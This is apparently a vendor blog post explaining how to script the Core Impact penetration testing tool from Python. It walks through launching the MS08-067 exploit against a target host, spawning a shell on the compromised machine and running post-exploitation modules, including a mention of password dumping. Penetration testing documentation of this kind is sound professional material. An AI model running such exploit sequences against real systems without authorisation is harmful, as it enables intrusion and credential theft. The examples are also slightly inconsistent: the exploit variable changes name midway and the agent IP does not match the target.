A request we receive from our customers is how to use and control Impact from the command line. There are many ways of doing it, each offering different possibilities and each with its own complexity and we work with each customer to better understand what their needs are and how best to meet those needs. In this post we'll present how we internally use Impact from the command line, and release some python libraries that we leverage to do so. NOTE: These libraries were only designed for internal use - so handle with care! The Impact Manager library is a set of python modules which was originally developed and used by our Quality team (daily testing of a product as deep and broad as Impact requires automation). Over time it slowly escaped into the engineering team, mostly for unit testing, and having been used successfully there it crawled into Core Labs for use in research projects. To use it you'll need the following:

We were the first penetration testing product to add the ability to schedule tests (back in 2010). As part of this change we added the ability to have up to three workspaces working simultaneously. Due to our GUI design you can only be interacting with a single workspace at a time, but the other workspaces would run in the background executing modules and carrying out tasks (waiting for client side victims to connect, crawling and testing a large web application etc)..This multi workspace capability is fundamental for the scheduler to run independently from what the user is currently doing, or even if Impact is open or not. The technical solution was to decouple the GUI from the kernel, and tie them via a COM interface, which is also used by the scheduler to talk to Impact's kernel. Most of the functionality in the GUI is resolved via this COM interface, and can be used by any client connecting to the service. This is what we are going to use to control Impact from the command line. COM can be called from most programing languages, but here we'll present a solution using python, in order to take advantage of the Impact Manager library, which simplifies a decent subset of Impact's functionality.   We’ll work through some examples via a python console, and provide commentary about what we are doing in each step. In this session we'll create a workspace and execute an Impact module in order to create a new host in the Workspace. Then we will run an exploit against the host and determine if the exploit was successful. If you plan on following along we recommend using ipython (http://ipython.org/) or any other interactive python with Tab completion. Step one is to import the required library and create an Impact workspace. In the following example we create a new workspace named 'Command Line Example':

>>> from impact_manager import *
>>> wsp = WorkspaceManager.create_workspace("Command Line Example", "somethingsecure")

NOTE: If you wanted to open a preexisting workspace as opposed to creating a new one, you'll need to use open_workspace() command instead of create_workspace():

>>> wsp = WorkspaceManager.open_workspace("Command Line Example", "somethingsecure")

Or to cover all your bases you could do:

>>> wsp = WorkspaceManager.open_or_create_workspace("Command Line Example", "somethingsecure")

It is also possible to list the available Workspaces in the database:

>>> WorkspaceManager.list_workspaces()

However we get to the workspace we need to instantiate the New Host module and set its arguments (parameters if you open the module within Impact):

>>> newHostModule = Module(wsp, "New Host")
>>> newHostModule.add_parameter("HOST", "192.168.36.22")
>>> newHostModule.add_parameter("OS", "windows")
>>> newHostModule.add_parameter("ARCH", "i386")

Once we have defined the values for the arguments/parameters we execute the module:

>>> newHostModule.sync_run()

In this case we use sync_run(), which will run the module synchronously, waiting until it finishes or until the default timeout value of 30 minutes expires. A parameter can be added to sync_run() which can be used to change the timeout from the default - (the value is in seconds):

>>> newHostModule.sync_run(60)

An exception is raised if the module times out, but still the module will continue raising regardless this exception. If you wanted to stop a module you can use the command: stop(), which is equivalent to right-clicking the task in the GUI of Impact and selecting stop:

>>> newHostModule.stop()

It is also possible to use run() to start a task and continue interacting with Impact via the command line without waiting for the command to finish, what will allow us to start many tasks simultaneously. To check the current status of a task you can run the following command:

>>> print newHostModule.get_status()
finished

Other possible statuses that could be reported are running, stopped, aborted or failed. Let’s continue by instantiating an exploit and running it

>>> OldFaithful = Module(wsp, "MSRPC Server Service Remote Buffer Overflow Exploit (MS08-067)")
>>> OldFaithful.add_parameter("TARGET", "192.168.36.22")
>>> OldFaithful.run()

While it is running we can check on the status:

>>> OldFaithful.get_status()
'running'

Until it finishes:

>>> OldFaithful.get_status()
'finished'

Now the exploit has finished, but we don't really know whether it was successful or not. The easiest way is to check (and retrieve) all the agents the module (exploit) has created. If an empty list is returned then no agent was installed, and therefore we were unable to exploit that vulnerability on that machine:

>>> len(exploit.get_commited_agents())
 1

For some use cases this would be enough - you have confirmed the target was vulnerable to that exploit. However if you wish to use the deployed agent, perhaps to run a local module in it, you would do the following:

>>> agent = exploit.get_commited_agents()[0]
>>> agent.get_name()
u'/192.168.1.2/agent(0)'
>>> agent.is_connected()
True
>>> agent.spawn_shell()

Where agent.spawn_shell() will run a shell on the agent, and open an interactive console, which may not be the most useful thing to do, especially when we are trying to do unattended Impact scripts.  So another option is to instantiate and run a module on the just-installed agent:

>>> getOS = Module(wsp, "Get OS Version", agent.get_name())
>>> getOS.run()

In this case, after running the “Get OS Version” module, you may want to retrieve the OS information from the Entity, or simply print the log string from the module:

>>> print getOS.get_log()
Connecting with the agent ...
Module "Get OS Version" (v109156) started execution on Thu Nov 24 16:14:36 2011

*** Debugging mode is enabled
Finding OS and version...
. version is 2000
. edition is Advanced Server
. build number is 2195
. service pack is 4

-- Module finished execution after 0 secs.

Of course you can do the same with any module you may want to run, such as the “Password Dump” module: Disclaimer: Although this library is extensively used inside Core, and it's known to work pretty well, it's provided to Impact users without any warranty... I would love to hear the various ways people use this capability, drop me a line and let me know! Below is a link for a video using this capability, in it you see how to:

  • Create a new workspace
  • Add a target
    • You could imagine how instead of adding a basic target instead I imported the results of a vuln scanner
  • Run an exploit against the target
    • You could imagine how instead of a single exploit instead I run the "Attack and Penetration using imported data" module and validate the vulnerability scanner results I imported
  • Interact with the compromised machine

http://www.screencast.com/users/Core_Security/folders/Training%20Videos%20for%20CORE%20Impact%20Pro/media/ddd3a7e1-73d2-412f-8a15-9782653a9529 Alex Horan Product Manager